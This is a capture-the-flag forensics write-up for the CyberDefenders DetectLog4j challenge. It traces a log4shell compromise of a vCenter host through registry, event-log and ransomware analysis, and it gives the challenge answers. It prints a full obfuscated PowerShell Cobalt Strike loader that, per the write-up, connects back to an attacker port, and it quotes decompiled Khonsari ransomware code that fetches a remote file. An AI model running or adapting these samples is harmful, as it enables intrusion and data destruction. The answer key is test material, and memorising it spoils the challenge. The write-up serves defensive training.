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Cyberdefenders - DetectLog4j

ZarKyo included in Writeups Cyberdefenders
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Contents

DetectLog4j

Info

  • Category : Digital Forensics
  • SHA1SUM : 6556e7d46e89bf2ea68e05cf101920e2de071a22
  • Published : Jan. 15, 2022
  • Author : CyberDefenders
  • Size : 2.8 GB
  • Tags : Windows Disk ransomware log4shell

Uncompress the challenge (pass: cyberdefenders.org)

Scenario

For the last week, log4shell vulnerability has been gaining much attention not for its ability to execute arbitrary commands on the vulnerable system but for the wide range of products that depend on the log4j library. Many of them are not known till now. We created a challenge to test your ability to detect, analyze, mitigate and patch products vulnerable to log4shell.

Tools

  • Arsenal Image Mounter
  • RegistryExplorer
  • RegRipper
  • EventLog Explorer
  • dnspy
  • CyberChef
  • fakenet
  • VirusTotal
  • IPLookUp

Questions

1 - What is the computer hostname?

With AccessData FTK Imager, open the disk and go to ROOT > System32 > config and export the SYSTEM hive. With Registry Explorer import the hive and look at ROOT > ControleSet > Control > ComputerName.

Answer : VCW65

2 - What is the Timezone of the compromised machine?

With Registry Explorer: ROOT > SYSTEM > ControlSet > Control > TimeZoneInformation

TimeZoneKeyName: Pacific Standard Time corresponds to UTC-8

Answer : UTC-8

3 - What is the current build number on the system?

With Registry Explorer : ROOT > SOFTWARE > Microsoft > Windows NT > CurrentVersion > CurrentBuild : 14393

Answer : 14393

4 - What is the computer IP?

With Registry Explorer : ROOT > SYSTEM > ControlSet > Services > Tcpip > Parameters > Interfaces > <interface> > NameServer

Answer : 192.168.112.139

5 - What is the domain computer was assigned to?

With Registry Explorer : ROOT > SYSTEM > ControlSet > Services > Tcpip > Parameters > DNSRegisteredAdapters > <adapter> > PrimaryDomainName

Answer : cyberdefenders.org

6 - When was myoussef user created?

With AccessData FTK Imager export Security Logs: ROOT > windows > system32 > winevt > Logs

In the event viewer : EventId 4720 & search : myoussef

Answer : 2021-12-28 06:57:23 UTC

7 - What is the user mhasan password hint?

With AccessData FTK Imager, open the disk and go to ROOT > System32 > config and export the SAM hive. With Registry Explorer import the hive and look at ROOT > SAM > > Domains > Account > Users > mhasan.

We look at the last write timestamp of user mhasan. O, compare With other hives With less intuitive names ROOT > SAM > Domains > Account > Users > 00000404 > UserPasswordHint: https://www.linkedin.com/in/0xmohamedhasan/

Answer : https://www.linkedin.com/in/0xmohamedhasan/

8 - What is the version of the VMware product installed on the machine?

With Registry Explorer : ROOT > SOFTWARE > VMware, Inc. > vCenter Server > ProductVersion : 6.7.0.40322

Answer : 6.7.0.40322

9 - What is the version of the log4j library used by the installed VMware product?

With AccessData FTK Imager, open the disk and go to ROOT > Program Files > VMware > vCenter Server > VMware Identity Services: log4j-core-2.11.2.jar

Note: Look for the location where the application stores its .jar files

Answer : 2.11.2

10 - What is the log4j library log level specified in the configuration file?

With AccessData FTK Imager, open the disk and go to ROOT > Program Files > VMware > vCenter Server > VMware Identity Services: log4j2.xml

Look at the tags containing the value level

Answer : INFO

11 - The attacker exploited log4shell through an HTTP login request. What is the HTTP header used to inject payload?

Google search: “log4j vcenter exploit”

Answer : X-Forwarded-For

12 - The attacker used the log4shell.huntress.com payload to detect if vcenter instance is vulnerable. What is the first link of the log4huntress payload?

Note: log4shell.huntress.com is a log4j vulnerability tester

We know the vCenter version (6.7), Google search “log4j exploit vcenter” –> “Workaround instrcution…”

Modification of the Security Token Service (STS)

Search STS logs, With With AccessData FTK Imager, open disk and go to ROOT > ProgramData > VMware > vCenter Server > runtime > VMwareSTSService > logs: audit_events.log

Answer : log4shell.huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a

13 - When was the first successful login to vsphere WebClient?

We look in the file audit_events.log and we look for a LoginSuccess

Answer : 2021-12-28 20:39:29 UTC

14 - What is the attacker’s IP address?

We look in the file audit_events.log

Answer : 192.168.112.128

15 - What is the port the attacker used to receive the cobalt strike reverse shell?

With With AccessData FTK Imager export Microsoft-Windows-Powershell/Operational & Admin logs: ROOT > windows > system32 > winevt > Logs

Event ID: 4104 | Run a remote command

1

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAANVWaW/iSBD9HH6FN0Ia0CQcCeQajTRtsMEeTDDGNgRFK2M3pqF9jN3mmNH89y0fYYdkd1ba1a60LaF2N1Wv3qu+SsPsUmMRsZkSOJi7NHAUk8DnrkqlMia2FXEfuXfvYNANJAbfn96VylYcY29BD+nwvHSWxMR3Oe0QM+x9OB3WxonPiIdrks9wFIQajrbExjGY+ZaH49CyMUf8NbYZ9610dhYmC0pszqYQglsmvp3Nns1FarnxM1f8jf3E4xClgW0x4Do5hJj7xnUCzyMpxca+2Wg0LrgxjiEczmauYIb7/mdYCvaC6DCKAgZEUvXfOGGP7YThMbYcMyIsR2n9BGMCMrkHLiE+SOEkf0n8FzexaIVzl1LJC4OIVc43OPIxvb6qOZSeV4+AMQNhgLuHpPmAxUYs4gwSscSime5KMUdD5DgRjuOLPLCz08hXXAyW9DRHx+lCaPXDP6HTibDF8GQFnfM7nXyMGOyoBaTvB17Msjc5uaMxzEXsKOA4PbIi2BsQ6+icxQIVWdp/sMyjSc7fVJKCmxZhYhBpsGcpflykO/FFzapv+Q4FwtnSOjuFUEpibAe+E2cRYTm/l84/weGwAy8kFKeHZYh3lzkOpxA7CuJgyWodbWVFYdF14KDBEmyJg6NSOUzVxqeOxeFJDbtB2ufox49jhuIX/9oYL3GEfRs7KD+dBMc1yO3Y8l1c+VQ5LzDTfFxw81Gch3quFeaH2qDYKtXqEbSHfRzBKkt+fkKAZXkSJbhUhiVLaHrYjtJfyL3giVHgaUES2bhSwF1wx5ujWirN+QPD8+fn8taKfrXTu+cjNz8K97c4Ys8PDykKb8X4ppVeUr5bOa8LpNsedYMDgiaIY9XgNd14khRHpprEtJlABvpqJZGm5ML4oAvuiDXCz5NJX9a6fRR196slkmJJ6PMHtckju09uDZnXdfAjnYG63kvI4T136s46O7lpBwkiWSwi7vpjX0N9VZeY1BO0gdrhZeR018ZmXT/ovcFQWoHv01CxqaTYnVi1+3JXF/jdZO06S1FBjd2mI+jtxnQ6MzP/sZzGUmexoqVjfp+OebLTpDSOaqx4U2w/mRtxphqUNzeke9vheX1bd01BhHkyEBI6qkObmgHSFu1ry2yHC89oQG5MbeZ7E8nfq4tQcQ6zfv3ekDJujgwc+ZQnrwuiqi6CG8P3/Pr9NLKboURskU+6GxGhwkYXx5Y7hL53Y7S85X5bN26adKFJPg851SDOLM2v7rkIeaCQynySMGOw3tabOpH3wHvX5L906L1ElqJEnFDe33VT2vXML7UnjV6vD/azKeq2TAepCGmj+qjb0pT0++Z+FLaRgNAjIanfoNEe2fod+vcbb9hXxmGgi/6T2W48En64uA7DRW+/GnxVE6WDgtnVPbN7YsMy5fhpErsTYyiPNdQarNGtJDqwHuOtc624E6q6Q621fzzwuu3RTYqXYXRjVzPb3qLJr5yemyhkM+y4/4G0/3FTF7c7Zslmvqe9G1gnOKO9VtpB31ZR1t+Yn8eT9rJuaPJwojeI3IbfHezJqw3YdlIbT34P+1oILbkF+1qTRoIkTZEzePLIzpGQ/Qjnfjo1xdVMQ3oWW1dGgV+/rte/Cm2FtPbDNazZRDgM1sLhseB3DndceZEsl9mrMM+LnFpa08C1dvKWQ6lyvARrA+y7bMW955oXJ07vT99ywHgpby4Xj9FfmOal0SvA10UP2L0ueqolsuQqcz4I6PMvhZgqVDels7JLg4VFH47vwPUHmI0wS+BdLX0vzX9e/9UUK4pXFs24hYfKUf8Fl2Yjj/Q2LdXSPH+bn7kyy97+t6k9qUsap3j5sHEqKweqppXmG1W3p6qKZ+/qbdQ/KiMK5FdpT4sJcHgpEKuld1BASCmfQtrDQwxlEneJv3B3GStJmHJZ+Q0MfgPEWlHOrwsAAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

CyberChef –> Frombase64 > Gunzip

We get a script.ps1. We put the script in an online sandbox. Network details –> 192.168.112.128:1337

Answer : 1337

16 - What is the script name published by VMware to mitigate log4shell vulnerability?

VMware documentation

Answer : vc_log4j_mitigator.py

17 - In some cases, you may not be able to update the products used in your network. What is the system property needed to set to ’true’ to work around the log4shell vulnerability?

VMware or Microsoft documentation

Answer : log4j.formatMsgNoLookups

18 - What is the log4j version which contains a patch to CVE-2021-44228?

Answer : 2.15.0

19 - Removing JNDIlookup.class may help in mitigating log4shell. What is the sha256 hash of the JNDILookup.class?

With With AccessData FTK Imager, open disk and extract jar ROOT > Program Files > VMware > vCenter Server > VMware Identity Services: log4j-core-2.11.2.jar

Rename log4j-core-2.11.2.jar –> log4j-core-2.11.2.zip

Path : log4j-core-2.11.2.zip\org\apache\logging\log4j\core\lookup

Answer : 0F038A1E0AA0AFF76D66D1440C88A2B35A3D023AD8B2E3BAC8E25A3208499F7E

20 - Analyze JNDILookup.class. What is the value stored in the CONTAINER_JNDI_RESOURCE_PATH_PREFIX variable?

Install jd-gui (decompiler java), decompile the jar.

org.apache.logging.log4j.core/lookup/JndiLookup.class

1

static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/";

Answer : java:comp/env/

21 - What is the executable used by the attacker to gain persistence?

With With AccessData FTK Imager, open disk and extract file NTUSER.DAT from Administrator.WIN-B633EO9K91M

With Registry Explorer : ROOT > SOFTWARE > Microsoft > Windows > CurrentVersion > RunOnce

Answer : C:\Users\Adiminstrator\Desktop\baaaackdooor.exe

22 - When was the first submission of ransomware to virustotal?

After some research, note the presence of an exe at the root of disk C:\, the file khonsari.exe. We put it in VT

Answer : 2021-12-11 22:57:01

23 - The ransomware downloads a text file from an external server. What is the key used to decrypt the URL?

We can reverse the malware With dnspy, go to the entry point. We see the webClient.DownloadString() method. In this XOR operations are performed, we can deduce that the variable string text = URL_cipher and string text3 = key. You can confirm by putting a breakpoint on the return of webClient.DownloadString()

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internal static class SCVuZRaW
{
	// Token: 0x06000007 RID: 7 RVA: 0x00002428 File Offset: 0x00000628
	private static void Main()
	{
		List<string> list = new List<string>();
		WebClient webClient = new WebClient();
		string text = "/\u001b\u0015\u0011R~]pi^UTF`CviVUN\u00120\u001f!(\u001c>\u0002\t=\u0016,\u0018\v\u0004>\u0018\u007f\u0006;3";
		string text2 = text;
		string edhcLlqR = text2;
		string text3 = "GoaahQrC";
		string text4 = text3;
		string vnNtUrJn = text4;
		webClient.DownloadString(oymxyeRJ.CajLqoCk(edhcLlqR, vnNtUrJn));

URL : http://3.145.115.94/zambos_caldo_de_p.txt

Answer : GoaahQrC

24 - What is the ISP that owns that IP that serves the text file?

2 possibilities :

  • We have the IP so we can do an IP lookup on 3.145.115.94
  • Upload the malware in VT or in an online sandbox and see the connections made by the malware

Answer : Amazon

25 - The ransomware check for extensions to exclude them from the encryption process. What is the second extension the ransomware checks for?

We know the family of malware, 2 options:

  • look for documentation on the exe
  • reverse the exe then cyberchef Unescape string > XOR
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private static bool LxqQXinF(string YzmfzBzk)
	{
		string text = "\u007f\u001d\0\a\u000f\"\u000e%8";
		string text2 = text;
		string edhcLlqR = text2;
		string vnNtUrJn = "QvhhaQoW";
		if (!YzmfzBzk.EndsWith(oymxyeRJ.CajLqoCk(edhcLlqR, vnNtUrJn)))
		{
			string text3 = "g\u001d/.";
			string edhcLlqR2 = text3;
			string text4 = "ItAGEocK";
			string vnNtUrJn2 = text4;
			if (!YzmfzBzk.EndsWith(oymxyeRJ.CajLqoCk(edhcLlqR2, vnNtUrJn2)))
			{
				string text5 = "\r\a2";
				string edhcLlqR3 = text5;
				string text6 = "diYplLvh";
				string text7 = text6;
				string vnNtUrJn3 = text7;
				if (!YzmfzBzk.EndsWith(oymxyeRJ.CajLqoCk(edhcLlqR3, vnNtUrJn3)))
				{
					return YzmfzBzk.Equals(SCVuZRaW.HtqeFwaI);
				}
			}
		}
		return true;
	}

g\u001d/. + Unescape string > XOR par ItAGEocK = .ini

Answer : ini

Updated on Oct 29, 2022
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